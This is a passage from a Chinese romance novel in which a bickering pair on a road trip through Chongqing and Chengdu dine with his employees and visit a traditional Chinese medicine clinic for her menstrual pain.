除了包子、粥、面这些常见的早餐,街上还有油茶、熨斗糕、豌杂这些特色早餐。 好奇地尝了一下微辣的豌杂面,辣得邬雪青整个人都不好了,只吃了半碗,感觉头被辣得晕晕的,但豌豆很好吃,她又忍不住挑挑拣拣地吃了几粒豌豆。 叶嘉木点的是一个正常辣度的面,搅拌过后整豌都裹上了酱和红油,他三两口就吃完了一整碗。 “你不辣吗?”邬雪青捂着发麻冒烟的嘴震惊问。 叶嘉木说:“这就是肉酱,不辣啊。” 邬雪青不死心,又吃了一口面,吃完呼出一口气,感觉要变成喷火龙了。 叶嘉木举着手机拍了一张她鼓着腮帮子吹气的照片,笑了老半天。 “不许拍我丑照!” “不丑,特别可爱。”说完,他又噗嗤笑了。 邬雪青照照墙面上反光的镜子,震惊地看见自己的嘴巴肿了。 “我真的再也不尝试吃辣了!”她痛定思痛。 叶嘉木点头说:“啊,我信了。” 吃过早餐回酒店收拾行李,退房,出发去成都。 他动作迅速,快得像按了快进。 驶向离开重庆的出城高速,邬雪青趴在窗口往外看。 有种很奇妙的感受。 像打开了自由探索开放世界的副本。 她不用再去焦虑资格考试的成绩,研究提案能不能通过,思考那些她根本不喜欢的经济学研究的意义是什么…… 她可以把大脑扔开彻底放空,可以什么都不干只思考一日三餐吃什么。 她慢慢和自己自洽,放纵自己贪图享受,这个曾经她觉得模糊不清的世界,反而越来越清晰了。 炎热是真实的,风是真实的,嘈杂、拥挤、喧嚷,四通八达的街衢,吆喝着方言的本地居民……所经历过的一切都是真实的。 她一度觉得这个世界很不真实。 因为无论她走到哪里,看见的都是一模一样的服务性微笑,所有人张合的嘴里都发出同样的声音—— “邬小姐,你好……” 好像这个世界所有NPC都被设定好了一模一样的程序和台词。她每天吃一模一样口味的饭菜,做时间表上计划好的所有事情。 所有人都围绕她转,永远不会出差错,准时准点精确到分秒提醒她应该做什么了。 没有物质上的顾虑,她的思想也不能旁逸斜出,有且仅有一条主线任务要专注——以杰出的水平完成学业,获得人生履历上添彩的文凭。 可她讨厌这个运转精确无误的游戏。 从隅州到重庆,虽然日复一日赶路,但她不觉得喘不过气。 原来定好的行程是可以改变的,计划是可以调整的,中途休息,去瀑布淋雨,吃一顿无意义的早餐,尝千奇百怪的美食,也是不耽误到达下一个目的地的。 她一直将叶嘉木视作对手。 从上学时候的每一门测试开始,一定要赢过他。 她留学、读研、读博…… 走一条家里精准规划好的精英路。 回头来却发现被她当对手的人早已“离经叛道”,在一条我行我素的奇怪道路上越走越远。 但不耽误,他在家长们的眼里依然是“精英”。 这是怎么做到的? 邬雪青费解地盯着叶嘉木看。 他可以一天开数个小时车,生龙活虎跟她吵架拌嘴、调整行程、处理工作,然后早睡早起,第二天照旧生机勃勃。 人怎么能有精力成这样? 想不明白,她就问出了口:“你怎么做到开了一天车,还能处理别的工作的?” 叶嘉木诧异地看她一眼:“这是什么问题?当然是开车的时候好好开车,工作时候就好好工作,把时间协调好就行。” “不觉得累吗?” “哦,明白你的意思了。这么说吧,自驾游和现在开的公司都是我自己的爱好,人干自己喜欢干的事的时候就是有使不完的精力的。” “但精力总是有限的吧,你怎么调整呢?睡觉?” “睡觉只是满足基本的生理需求,人要恢复精力就必须有精神食粮。工作疲了我会空一天出去攀岩、徒步,然后回去踏踏实实睡一觉,第二天就什么疲劳都没有了。” 攀岩、徒步…… 邬雪青想了想,觉得随便哪一件都能要她的命。 见她愁眉不展,叶嘉木举例道:“我记得你小时候很喜欢吃冰淇淋,暑假季叔叔还专门带你去意大利吃了手工冰淇淋,后来你一回来就专心致志扑在学意大利语上,叫你出来玩也叫不动了,那时候学习和爱好结合在一起了,才一下充满了动力,对吧?” “好像有点道理。” 她食指抵着下巴,若有所思。 叶嘉木继续道:“人要是一直干自己不想干的事情,就像给汽油车加柴油,一定会出问题的。” 给汽油车加柴油…… 她现在已经不是一个冰淇淋就能满足的小孩了,那现在的“燃油”又是什么呢? 邬雪青仰着头想了想,发现自己还真想不出。 上学时候的目标是考第一名,所有考试都有明确的目标,包括游学、做国际志愿活动、考雅思托福……目的是为了让爸妈满意,也是为了靠真材实料申请到目标院校。 阶段性的目标达到了,可更长远的目标却非常虚无缥缈,缥缈到她根本没有动力去干。 叶嘉木看出了她的苦恼,笑着说:“殿下,给点犒劳费,我带你去找精神爱好。” 邬雪青对他持有警惕,狐疑道:“你不会是想讹我一笔吧?” “我是那种人吗?”叶嘉木挑眉。 “你想要多少?” 邬雪青在心里给了一个数额区间。 叶嘉木点了点自己脸颊,噙着笑说:“钱我不缺,我要这个。” 第18章 邬雪青瞪大了眼睛,左看右看,疑惑:“你在指什么东西,我怎么看不到?” 叶嘉木叹气,又点了点,“这里,脸上。” “哦,原来有脸啊,我以为你没有这种东西呢。”要不是他在开车,邬雪青都想抡圆胳膊给他一巴掌。 此人真是蹬鼻子上眼! 叶嘉木修长的手指搭在方向盘上轻敲,扬着唇角道:“也可以赊着,总有一天,你会兑现的。” “那你就等着吧,百年后给你送终那天,你做的美梦就能成真了!”她翻了个大大的白眼。 他低低沉沉地笑了几声,顺手在智慧屏上点了几 下,打开了音乐。 悠扬的钢琴声前奏缓缓淌出。 “不听这个,我要听杨千嬅。”她非常霸道。 叶嘉木目光落在前方的高速路上,答道:“可以,你想听别的就换。” 邬雪青划拉了一下他的歌单,发现一多半全是周杰伦,啧啧道:“你还真是长情,高中喜欢听周杰伦,现在还在听,也不腻。” “你不现在也还听杨千嬅。”他说。 邬雪青简直匪夷所思:“你什么毛病,总这么关注我干什么?” 叶嘉木反问:“你不关注我,怎么知道我高中喜欢听谁的歌?” 邬雪青还真哽住了,一下没想到怎么反驳。 绞尽脑汁想了老半天,邬雪青终于想起来了,她抬手在叶嘉木胳膊上猛地拍了一下。 “嘶——”叶嘉木扭头看她一眼,“说不过就打人?” “我那完全是因为某些人每天开屏,导致我旁边全是女生叽叽喳喳讨论某只公孔雀身上有几根毛的声音,我想不知道都很难好不好!” 叶嘉木反唇相讥,“说我是公孔雀?追你的人都堵到小区门口了,那你是什么?” “啊!”她喊一嗓子,“那跟你有关系吗?” “怎么没关系?你知道我给你挡了多少烂桃花吗?” “谁让你挡的?说不定你把我本来应该有的好桃花也挡掉了!” “那你去纽约我没挡你桃花吧,怎么不谈呢?” “有的是八块腹肌的白皮帅哥追我好不好!不像你这种,头脑简单、四肢发达,皮肤还黑的臭屎壳郎!” “我要是臭屎壳郎,那你是什么?是……” “闭嘴!你给我好好开车!” 跟他吵吵两句,邬雪青都不记得自己打开音乐播放器是要干什么了,手指停在搜索界面半天没动。 “你要搜杨千嬅。”他说。 “闭嘴,问你了吗!” 邬雪青忿忿地搜索了杨千嬅,随手戳了一首歌播放。 歌里唱到:沿途与他车厢中私奔般恋爱,再仄逼都不放开。 私奔。 他喜欢这个词。 叶嘉木翘了翘嘴角,放下了一只手搭在扶手上。 他的手指骨节分明,指甲圆弧修剪干净,手背上的青筋清晰可见。 邬雪青想无视他,但目光总不自觉侧落到他修长的手指上。 “这胳膊挺适合打针。”她嘀咕说。 叶嘉木瞥她一眼,“你当初要是学医,我也能给你扎几针练练手。” 她恶狠狠说:“那我就把你扎成篓子。” “那我要是半身不遂,你就等着对我下半辈子负责吧。” “给你一个碗,你去街上乞讨吧,看有没有人可怜你,送你两个馒头吃!” “好恶毒啊你。” “没错,我就是这么恶毒,”她呲了呲牙,像只凶狠的兔子,“你趁早死了贼心!” “没关系,”他轻笑说,“我就喜欢恶毒的。” 恶心死了。 邬雪青翻了个白眼。 他翻过右手手心摊在她面前,“要不要摸摸?” “拿开!什么东西,不稀罕!” “不稀罕就别盯着看了,当然,你要是喜欢呢,给你牵两下也不是不可以。” “滚啊!” 昨天之前,他犯贱也还收敛着,怕惹毛她,心意一剖开,他简直是什么虎狼之词都敢往外吐了。 邬雪青现在就是后悔,恨不得穿回昨天,把自己犯欠的嘴和他没个把门的嘴都贴上。 死嘴!让你胡叭叭! 见她戴上眼罩,扭过头去装睡,叶嘉木笑出了声。 “殿下,我这边有几个小伙伴正好到了成都,待会要先和他们碰个面,你没意见吧?” “随便。”她闭着眼睛说。 可能最近坐太久车了,三个小时车程都变快了,她只简单眯了一下,再睁开眼就发现车已经到成都了,标志性的熊猫爬墙的建筑标志近在眼前。 “醒了?睡得好吗?”叶嘉木问。 她伸了个懒腰问:“这是去酒店吗?” “先去吃饭,跟刚刚和你说的那几个人碰面,也商量一下后面的路怎么开。” “有几个人啊?” “三个,两个后勤,一个剪辑,都是我公司的员工。” 我公司的员工。 邬雪青挑了一下眉,感觉他这个看似不经意的一提又很刻意,像只开屏的孔雀。 然而邬雪青只能看见孔雀开屏后露出来的腚。 嘁,装什么,谁家还没几个公司。 叶嘉木余光瞥见她不屑地白眼一翻,他悠悠道:“殿下,你今天可翻我三个白眼了。” “赏你的,不用谢。” “也对,你怎么不翻别人只对我翻,说明我在你心里很特别,你这就是喜欢我。” 邬雪青:“…………” 人至贱则无敌了。 车停了下来,叶嘉木道:“到了,就在这下,带你去尝尝老成都的川菜。” 邬雪青调整了下化妆镜,对着镜子补了一下妆,扔开眼罩,用手指梳了梳泼墨般又长又顺的黑发,单手戴上墨镜,立刻又恢复了那个娇矜傲睨的大小姐模样。 叶嘉木车里是从来不放香氛的。 现在车里却有了一股浓郁的芬芳,是昂贵的香水和清新的沐浴香波的气息。 她随意抓两下头发,那发丝上幽幽的香味便也散发了出来。 真怪。 只是看着她臭美地打扮自己,他竟然就觉得这一刻充斥着幸福了。 看她涂口红抿嘴巴的样子感觉很可爱,闻到发香味又觉得很甜蜜,像喝了一口度数不高的果酒。 邬雪青回头看他一眼,对上他直勾勾的眼神,她下巴微微扬起,抿了抿唇,问他:“看什么看?” 他回过神,大大方方道:“自然是被我们美貌的殿下迷住了。” “能理解,算你还不瞎。”她心情愉悦地推门,小跃步跳下车。 啊,太可爱了。 叶嘉木感觉自己心脏像被小皮筋弹了一下,浑身都麻麻颤颤的。 站了一会儿还没看到叶嘉木下来,邬雪青又拉开了车门,费解道:“干嘛呢,还不下来?” “马上。” 他低头翻了翻扶手箱,也不知道在找什么。 邬雪青用手背遮着头顶太阳,催促道:“快点!” 磨蹭了很一会儿,叶嘉木才推门下车。 “你找什么呢?”邬雪青狐疑地问他。 叶嘉木下颌线紧得有些不太自然,但语气还是很随意,“手机没电了,想找充电线充一下。” “刚刚在路上怎么不充?找到充电线了吗?” “没。”他揉了揉鼻子。 “你真是笨蛋。” 他们进了一家牌楼饭店,服务生马上迎上来问:“您好,请问就两位吗?” “我姓叶,订了位置。”叶嘉木说。 “啊,叶先生,您朋友已经到了,我带您进去。”服务生做了个邀请的手势。 邬雪青抱着胳膊跟着往里走,一转头看到了摆在入口收银台处的共享充电宝。 “叶嘉木。”她叫他。 叶嘉木回头,“怎么了?” 她指指收银台,“这里有充电宝,你要用吗?” “这个……不用了,手机还有点电,回头再充。”他轻咳了一声。 邬雪青不疑有他,“哦。” 服务生带他们穿过大厅,走进一条长廊,拐一个弯就到了他们定的包间。 包间门开着,邬雪青走到门口就看见侧位沙发上坐着三个人。 叶嘉木一走进,三个人齐刷刷站了起来,异口同声道:“叶总。” “早都到了吧,怎么都不点菜,坐吧。”叶嘉木说。 一个青年拉开了大门正对的位置椅子,殷切道:“叶总,您坐主位吧。” 他笑笑,手掌向下一按,“不讲究这些,都随便坐,今天不是开会,就简单吃个饭。” 他们一进来的时候,三个人就都看到了站在老板旁边带着墨镜、冷冰冰的大美女,但老板没说,几个青年也不好意思直接问,只是眼睛忍不住地往她那儿瞥。 “给你们介绍一下。” 叶嘉木抬手朝向邬雪青,是个很尊重的商务手势。 刚准备坐下的另外两个人立马有眼力见地站了起来,看向邬雪青。 叶嘉木说:“这位是我朋友,也是我们公司未来可能的合作伙伴,你们可以叫她Shirley。” “您好。” 三个人有些不知所措又礼貌地和邬雪青弯了弯腰。 未来可能的合作伙伴? 脸真大。 邬雪青笑了,她摘下了墨镜,露出精致的眉眼,随意道:“不用这么客气,叫我Shirley就好。” 刚拉开的主位,叶嘉木自然而然地让给了邬雪青,自己在她旁边落座。 今天这顿饭,吃得可就没有昨天那么轻松惬意了。 没想到叶嘉木当起老板还挺拿样,几个员工很显然都有点怵他,虽然他口头交代着让大家都随意,但几个人谁也不敢真在老板面前随便起来。 倒上茶,点过菜,叶嘉木向员工问了问他们和广告团队那边的对接事宜,接着又口头跟后勤核了一遍样品清单数目,跟后期聊了聊之后的工作。 他掌心拢着茶杯,身体微微前倾,脸上没有笑容,问话时点到即止。 虽说是饭前随意聊聊天,但几个员工都难掩紧张,回答问题时如临大敌,茶也不敢喝,口条一板一眼,仿佛开会正面临领导抽查。 服务生进来上餐前小吃了。 没人伸筷子。 邬雪青觉得有点无聊,一只手支着下颚,手指搭在桌台上转了转。 “进藏后有些地方只能靠马力转运,尤其是墨脱,小唐,你和向导那边确认过设备运输的备案了吗?” 叶嘉木谈着工作,指节一抵,截停了旋转的桌台,夹起一块桂花糖藕,自然而然地放在了邬雪青碗里,又提起碧玉的瓷壶,给她斟了半杯茶。 除了邬雪青轻咬桂花糖藕的声音,整个包间内骤然静得落针可闻。 三个人同样震惊地瞪大了眼睛,仿佛看见恐龙穿绣花针—— 第19章 邬雪青只尝了两口就搁下了筷子。 “不好吃?”叶嘉木关注着她。 感觉不太对。 邬雪青皱了皱眉,撑着桌面说:“我去一趟卫生间。” “找得到位置吗,我陪你过去?”他说。 邬雪青犹豫了下,点点头:“嗯。” 叶嘉木拉开了椅子,和员工道:“回来再谈,你们先吃。” 邬雪青脚步有些快,像一阵风,叶嘉木刚给她拉开门,她飞快侧身走了出去。 叶嘉问服务生:“你们洗手间在哪?” “前面右拐。”服务生指了一下。 邬雪青立马小步跑了起来。 叶嘉木大步跟上来,问她:“生理期来了?” 邬雪青脸色有些白,“可能是。” “车上有放卫生巾吗?” 邬雪青尴尬得想逃:“没有,我先去洗手间了。” 她步伐很快,小跑着钻进了女洗手间。 几分钟后,叶嘉木收到了她发的消息:生理期来了。 他回道:我去给你买,有你常用的品牌吗? 邬雪青:随便,赶紧。 叶嘉木回复:好。 饭店的公共洗手间有股说不上来的怪味,邬雪青用纸巾捂着口鼻,不停发消息给叶嘉木:快点快点快点快点…… 叶狗:好好好。 没多会儿,有人敲了敲隔间门,道:“你好,刚刚有人要我把这个拿给你。” 邬雪青拉开了一点门,接过袋子,飞快说了声“谢谢”。 …… 听见身后的脚步声,站在洗手间外的叶嘉木转回身。 邬雪青拖着发酸的腿打开水龙头冲了冲手。 “肚子疼吗?”叶嘉木走过来低声问。 邬雪青摇了下头。 虽然不疼,但她整个人看起来都恹恹的。 叶嘉木又问:“以前会疼吗?” “偶尔。” 她关了水,扯几张纸擦了擦手。 “我车上有布洛芬,你肚子疼就和我说。”他说。 “没那么娇弱。” 她挺直肩背从他身边走出去,走了还没三步,突然抬手扶住了旁边的墙。 叶嘉木吓一跳:“怎么了?” 她好看的眉头拧起,按了按小腹,低声说:“你这个乌鸦嘴。” 叶嘉木:“……” 他搀住她,失笑,“这也怪我啊?” 老板一走,包间里三个人立马激情讨论了起来。 虽然老板介绍是朋友,几个人互递个眼神,差不离都猜到俩人是什么关系了。 叶总是个香饽饽,年轻、帅气、多金、未婚、还是事业狂,同事们私下里没少拿他当话题聊。 有个老板的笑话,每个新员工入职,老员工都会拿出来说一次。 有回团队在外地出差,乙方做东,请客吃饭,隔壁桌几个非常漂亮的姑娘一眼看上了叶总,也不忸怩,直接上来要叶总微信,叶总二话没说,掏出了公司官方微博、和客服企业微信,让人家扫了一圈才放人走。 那几个姑娘以为他是销售,走的时候都是懵逼的。 可谓是两眼空空,一心为公。 叶总的工作电话二十四小时通畅,朋友圈除了家人朋友就是参加各种户外活动的照片,生活方式健康得让阴暗的社畜看了都害怕。 公司内各位挑剔的女同志对叶总的评价都非常高,虽然他工作标准严苛,但公事公办,从来不单独加女员工的私人微信,有事一律群通知或钉钉联系,从不在下班发消息。 人人都知道叶总是个断情绝爱,但只卷自己的事业狂。 现在铁树竟然开花了! 半个多小时后,老板和他的朋友回来了。 出去时候还好好的,回来的时候老板朋友脸色白了许多。 等待她的时候,叶嘉木和服务生提了一句再加几道清淡的菜,因此陆陆续续又上了几道菜,摆满了整张圆桌。 小腹酸胀,邬雪青连吃饭都没有胃口。 叶嘉木给她打了一碗蹄花汤。 邬雪青吃得恹恹。 那三个人恨不得把脑袋埋进饭碗里,生怕自己看到太多。 “我不想吃了。”大美女说。 叶总低声问:“要不要回酒店休息了?” “等你们吃完吧。”她恹恹说。 死嘴,快吃! 三个人不约而同加快了扒饭的速度。 “现在疼得厉害吗?”叶嘉木问。 她支着白皙的脸颊,嘴唇紧紧抿着,握着汤勺一圈一圈搅着蹄花汤,不想说话。 “疼得厉害我就先送你去酒店休息。”叶嘉木又温柔说。 小唐犹豫了好几次,还是弱弱发出了声音:“叶总,那个……” 叶嘉木看过去,语气恢复如常:“这几天工作量大,你们多吃点,别拘束。” “好……那个,这位姐姐是痛经吗?” 叶嘉木感觉自己大腿被狠狠拧了一把,他转头,对上邬雪青恼怒瞪视的目光。 他无辜啊,无声道:我什么都没说。 邬雪青又掐了他一下。 叶嘉木忍痛,大掌一把包住了她纤长的手指,圈在掌心里,不允许她再动。 小唐看出了他俩的暗潮涌动,眼观鼻,继续说:“我女朋友生理期也痛,靠针灸和中药现在已经调理好了。我是想说如果痛得厉害,可以去看看中医。” 叶嘉木听进去了,追问:“中医见效快吗?还是要慢慢调理?” 尖尖的指甲掐住了他掌心的肉,叶嘉木任由她掐着,就是不松手。 “针灸好像见效挺快的,喝中药的话就得慢慢调理了。”小唐磕巴了一下,“那……那个,我女朋友是成都人,她认识一个成都老中医,叶总,你们需要的话,我把那个中医联系方式推给你们。” “可以,你现在就推给我。” 开车回酒店一路上,邬雪青脸色越来越差。 吃饭的间隙,叶嘉木手上已经被她掐出好几个月牙指印了,等红灯的间隙,他又把手伸到了邬雪青面前问:“要不要再抓一会儿?” 邬雪青都没力气怼他,转过头去看向窗外。 叶嘉木就没看过她这么蔫的时候,心跟着沉了下去。 思虑了下,叶嘉木打开微信,发了条语音:“小唐,麻烦你把那个中医位置发给我。” 邬雪青烦躁道:“我不看什么中医!” 他道:“你要是不想扎针就不针灸,不想喝药就不喝,总之先去看医生。” 小唐发了一个位置过来。 叶嘉木点开地图,开导航语音,直接朝着中医馆开去。 烦死了。 邬雪青用毯子盖住了脸,声音闷闷地说:“讨厌你,我要回家。” 热烈的阳光照进车内,将他身体的轮廓线条描摹得很清晰,他手指紧攥了一下。 很快,他道:“好,但回去前也要先看医生。” 小腹涨涨痛痛的,她没力气和叶嘉木吵,只能烦不胜烦地遮住脑袋。 半个多小时后,车停在了一家医馆外。 叶嘉木给她拉开了副驾驶门,道:“到了,雪青,下车了。” “不去。”她说。 叶嘉木不跟她费口舌掰扯,俯身下来,解开她身上的安全带,搂过她腿弯一把抱起。 邬雪青掀开了毯子,大声问:“你干什么!” 下一秒她就腾空了。 叶嘉木把她抱出车,道:“不想摔下去就不要乱动。” “都说不去了!你是土匪吗!”邬雪青气死了。 叶嘉木掂了两下,惊得邬雪青一把箍住了他脖颈,他笑了下:“多吃点吧,都瘦成什么了。” 尽管百般不愿意,但邬雪青还是被死土匪按在了老中医面前。 看着对面坐着一个头发花白、至少六七十岁的老中医,邬雪青只好把一肚子火压回去,闷闷不乐地伸出手给他号脉。 “没少熬夜吧。”老中医说。 这能看出来? 邬雪青将信将疑,点了下头。 “是不是经常感觉没力气,一来例假就腰酸?” 邬雪青点了下头,“有点。” “经常发脾气?” 也不是很准嘛! 邬雪青立刻摇头,完全否认:“没有啊,我脾气很好的。” ——简直是神医! 叶嘉木憋着笑,在她身后连连点头。 老中医笑了下,又说:“我看看你舌头。” 邬雪青吐了下舌头。 “平时还爱喝冰的。”老中医肯定地说。 邬雪青:“……” “例假周期正常吗?” 邬雪青摇头。 “上次例假是什么时候来的?”医生又问。 邬雪青皱着眉头仔细想了想,“应该是上上个月。” “上个月没来?” 邬雪青再摇头。 医生叹口气,“来例假是不是有很多血块?” 邬雪青犹豫着点了下头。 “肝血虚,肝郁化火,你又经常熬夜伤肾阴,导致肝肾阴虚、虚火内扰,是典型的一个阴阳失调、脾肾功能失调。” 邬雪青没明白:“阴阳失调是什么意思?” “就是西医说的内分泌失调。你没有男朋友吧?” “啊……” 这也能看得出吗? 邬雪青有点震惊地点了下头。 “心情很重要啊,除了吃药,也谈谈恋爱,调理一下阴阳,”老中医笑着指向叶嘉木道,“你旁边这个小伙子就不错,印堂明润,身体也不差。” 叶嘉木都不敢吭声,给医生竖一个高高的大拇指。 邬雪青郁闷道:“我又不喜欢他!” 老中医手还搭在她脉上,只笑,不说话。 怕殿下又要炸毛了,叶嘉木问:“老先生,那她这个病要怎么治?” “忌生冷,忌熬夜,肝主疏泄,郁怒致气机阻滞,久而化火,情志很重要,到年龄了要去谈恋爱。谈恋爱的年轻人脉象是很欢快、很舒展的,你这个脉象太涩了,七情六欲都会影响身体的。” 中医怎么还管谈恋爱的事? 邬雪青扶住了额头,小声道:“您就直接说要不要吃药吧。” “要吃,肯定要吃。”老中医看向了叶嘉木,“会不会煎药?” “我们现在是自驾经过成都,要过段时间才返程。”叶嘉木说。 老中医道:“那我就开两个星期的药,药房给你们把药熬好,你们两个小时后过来拿。” “医生,她现在就疼,还有没有什么能马上缓解的办法?”叶嘉木又问。 “我不针灸!” 邬雪青马上说。 老中医温吞道:“那就做个艾灸调理,温通经络、活血行气,你去那边找那个女的小王医师。” 叶嘉木正要跟着去,老中医叫住了他:“你就别过去了,坐这等半个钟头吧。” 叶嘉木停住了脚步,目送邬雪青跟一个女医生去了小房间。 来都来了,他也顺便问:“老先生,能给我也把个脉吗?” “坐吧。” 老中医慢条斯理搭上他的手腕,端详了他片刻,眉头渐渐皱起,“咦”了一声。 第20章 “怎么了,老先生?”叶嘉木问。 老中医说:“看看你舌头。” 叶嘉木便又吐出舌头来给医生看。 老中医点了点头,有判断了,“我看你面相红润,双目有神,神光内敛,是五脏调和的相貌,但你这脉象肝经郁沉,小伙子,心里装着不少事吧?” “这也能看出来,您真是神医。”叶嘉木笑道。 “最近夜里睡得还好?有失眠症状吗?” “失眠……”叶嘉木想到了昨天晚上,俄而笑了一下,“算偶尔吧,一般还是睡得挺好的。” “凌晨易醒吗?” “有时候,也不经常。” 老中医点点头,收回了手,“肝郁则气滞,气滞则血瘀。趁现在郁气还不算太深,心里头的事,也放一放。” “也不是什么大事,就是工作上的一点琐事,现在年轻人哪个没点工作压力?”他笑笑。 “单单只是肝郁,也不算大事,但你郁火内伏,表面气血充足,实际上气机郁滞,如果不加调理,极有可能发展成噎膈。” “噎膈?” 叶嘉木没听过这个说法。 “气郁不畅,吞咽梗阻,也可以视作是食管癌的前兆。” 叶嘉木一下真哽住了。 “不过你还年轻,看你身板不错,平常应该也不缺锻炼,如果这郁结不能根除,那多多运动,加以抒发,也是可以的。” “这需要喝药吗?”叶嘉木问。 老中医笑道:“你要是想喝,那也可以……” 叶嘉木立刻道:“那就不必了。” “你的症状比刚刚那位姑娘要轻,你重在调理情志,但那位姑娘,你一定要盯着她把药都喝完咯。” “那是一定。”叶嘉木顿了顿,“刚刚把脉的事,还麻烦您……” “自然,也不是什么大事。” “谢谢。” 黑黢黢的昏暗小房间内,艾灸熏香云缭雾绕,淡淡暗光在小腹上游走。 邬雪青做诊疗前小腹坠痛明显,医师给她熏了一下小腹上各个穴位,痛感竟真的神奇地减轻了。 “现在好点了吗?”医师问她。 邬雪青又感受了一下,“好很多了,这是什么原理?” “悬艾能温阳散寒,调理肝脾肾三经,缓解腹痛。” 邬雪青听得似懂非懂。 “以前也痛吗?”医师又问。 “有时候会有点痛,吃粒止痛药就好了。” “偶尔吃药压一压倒也不要紧,但要是长期吃止痛药,不仅会对胃肠、肝肾造成累积性损伤,还可能延误病情。这样的天气,你竟然手脚冰凉,可见寒气不轻,以后还是少吃寒物,经期尤其要注意,可以多晒晒太阳。” 邬雪青听进去了,点点头道:“好,谢谢医生。” 半个小时后,邬雪青从做艾灸的小房间里出来了。 叶嘉木立刻起身看她。 她唇色红润,比起在车上那会儿脸色发白,直冒冷汗, 已经好多了。 “怎么样?”他问。 邬雪青背着手臂抻了一下肩,感觉又活过来了,嘴硬道:“本来就没什么事,紧张什么?” “能怼我了,看来是好了不少了。” 帮邬雪青做艾灸的女医师走出来道:“邬小姐,我给你拿两盒艾灸贴膏,如果之后还有酸痛,就贴在我和你说的那几个穴位上。” “只能拿两盒吗?”邬雪青皱眉。 叶嘉木噗呲一下笑了。 邬雪青立马转过头来盯着他,“你笑什么?” 叶嘉木以拳掩唇,挡住笑容,若无其事道:“没什么,今天怎么太阳这么大,刚刚一只虫子飞过去。” 莫名其妙。 邬雪青懒得搭理他,转回了头。 “那我给你拿五盒吧。”医师说。 邬雪青又问:“只能拿五盒吗?” “噗。” 某人又笑了。 “叶嘉木,你什么毛病?” 邬雪青回头怒瞪他。 “没有啊,我就是觉得,刚刚飞过去那只虫子,怎么这么口嫌体正直呢?” 他迈着步往门口走去。 口嫌体正直?什么东西? 懒得管他,邬雪青回头道:“先给我拿二十盒吧,好用我以后再叫人过来买。” “邬小姐,十盒就够了,能用很久了。” 她思考了下,勉强同意,“好吧,那就先十盒。” “这里只有五盒,我再去库房给你拿五盒。” 邬雪青提步也跟了过去,掀开帘子穿过一条小廊道,走进内屋。 女医师在库房货架上数了数,拿了十盒艾灸贴下来。 “那个……” 邬雪青忽然开口。 “怎么了,邬小姐?” 她掩唇轻咳了一声,眼睛盯着门外,随意地问:“你们这有没有那种开车能提神的东西?” “开车提神,有啊,看你需要什么,有可以提神的香包,茶包,还有薄荷清凉贴。” “那就……都拿一点吧。”她说。 “您要哪种价位的?” “当然是最贵的。” 医师露出了灿烂的笑容,“好,那您看要多少,我给您一起打包了。” 等了好一会儿,没等到她出来。叶嘉木便也掀开帘子来后院找她。 中庭是一处天井,有高而茂密的大树遮阴,阳光稀稀疏疏地洒落,树下铺着鹅卵石,放着一方黑缸,竟然格外清凉。 邬雪青就站在天井回廊一侧,半仰着头闭着眼睛晒太阳。 浮光落在她脸颊、颈项上,通透白净。 风一吹,她裙摆就飒飒地飘。 叶嘉木脚步顿住了,不自觉笑了一笑。 医生说的对,郁气在心,情志所发。 只要她站在那,他就觉得此方天地静好,惠风和畅,世间再没有什么值得烦恼的事。 “邬小姐。” 取药的女医师提着袋子走了出来,瞥见叶嘉木站在门口,朝他点了下头。 邬雪青一睁开眼睛,便对上了一双带着温柔笑意的眼。 她一怔,很快又牵动一侧鼻翼,露出一个有点嫌弃的表情,转过身回去看医师。 “你要的东西都给你配好了,你看一下,没什么问题的话我们去前厅结账。”医师说。 邬雪青接过袋子,随便看了一眼便点头,“好,结账吧。” 算完了诊费和药费,医师拿出香包道:“邬小姐,这个是配好的香囊,可以挂在车上,不仅能提神醒脑,还有止晕车的作用。” 叶嘉木听了一耳朵,问她:“你晕车?” “对啊,怎么,不可以?”她随口敷衍。 叶嘉木拧起了眉头,“难怪你今天坐车这么难受,我以为就是肚子疼,怎么不早说?” “我高兴。” 邬雪青把香包攥在手里,将袋子往他面前一推,“司机,给我提好了。” 她将长发往后随手一拨,转身大步往外走了。 叶嘉木拎起东西,和几位医师点头示意了一下,“谢谢几位医生。” “记得两个小时后回来取药。”老中医笑呵呵地提醒。 “好的,麻烦了。” 他再一颔首,大步跟上邬雪青的脚步。 上了车,邬雪青看了看,微微直起身,将香包挂在了中间的后视镜下。 叶嘉木也拉开车门上了车,一眼看到了挂在镜子后的药包。 淡淡的薄荷和冰片气息传出来,他嗅了一下,很是提神醒脑。 没来由的,他笑了一下。 “肚子还疼吗?” “早不疼了,我困了,回酒店吧。”邬雪青支着额角说。 叶嘉木把她送回了酒店房间,又烧了一壶温开水掺保温杯里,放她床头。 “你好好休息,我待会要出去买些东西,顺便会帮你把药带回来。还有什么不舒服,随时打我电话。” “知道了,啰嗦死了。” 邬雪青翻了个身,拿后脑勺对着他。 叶嘉木笑了下,手悬停在她后脑勺上,顿了下,又垂了回去。 房间的窗帘拉上,灯都熄了,她还真生出几分困意,打了个哈欠,闭上了眼睛,好一会儿,将睡未睡时,才恍惚中听见了非常轻的关门声。 邬雪青一觉睡到了晚上八点多,隐约感觉小腹酸胀,半梦半醒坐起来,就感觉一股热流急涌而下,意识还没反应过来,人先弹了起来,箭步奔向卫生间。 坐到了马桶上她才想起来没拿新的卫生巾进来,正纠结怎么出去拿,一扭头就看见那包她拆开过的卫生巾摆在壁龛上。 是谁放的显而易见。 邬雪青抓过包装袋捏在手心里,嘟囔道:“算你还有点用……” 从洗手间出来,她看了下手机消息,发现叶嘉木已经给她发了好几条信息了。 最近的一条是二十分钟前:还没醒?该吃饭喝药了,睡美人殿下。 邬雪青回了条:醒了。 没几分钟,门铃声就响了起来。 她走去拉开门。 叶嘉木一只手拎着饭盒,一只手拎着一袋打包好的中药,晃了晃,笑吟吟道:“该吃东西了,殿下。” “没胃口。”她说。 “中午没吃两口,晚上又不吃,要成仙吗,殿下?”他走进房间里,顺手勾上了门。 房间的大灯没开,他开了灯,先把东西放桌上,又观察了下邬雪青的脸色,“这中医还挺有用,你现在脸色也还不错。” 邬雪青支着下巴等他把饭盒摆好,“这是什么啊?” “知道你吃不下饭,打包了一个红枣桂圆粥和乌鸡汤。” 听到是粥,邬雪青稍稍有了点食欲,接过了勺子。 叶嘉木又把中药拿去吧台边,将矿泉水倒进水壶里,隔水加热中药。 “喝完粥就吃不下药了,不能先喝药吗?”她叹气。 “不能,肚子里先垫点东西,半个小时后再喝药。” 在邬雪青的认知里,最难喝的药也不过是感冒灵颗粒那样了。 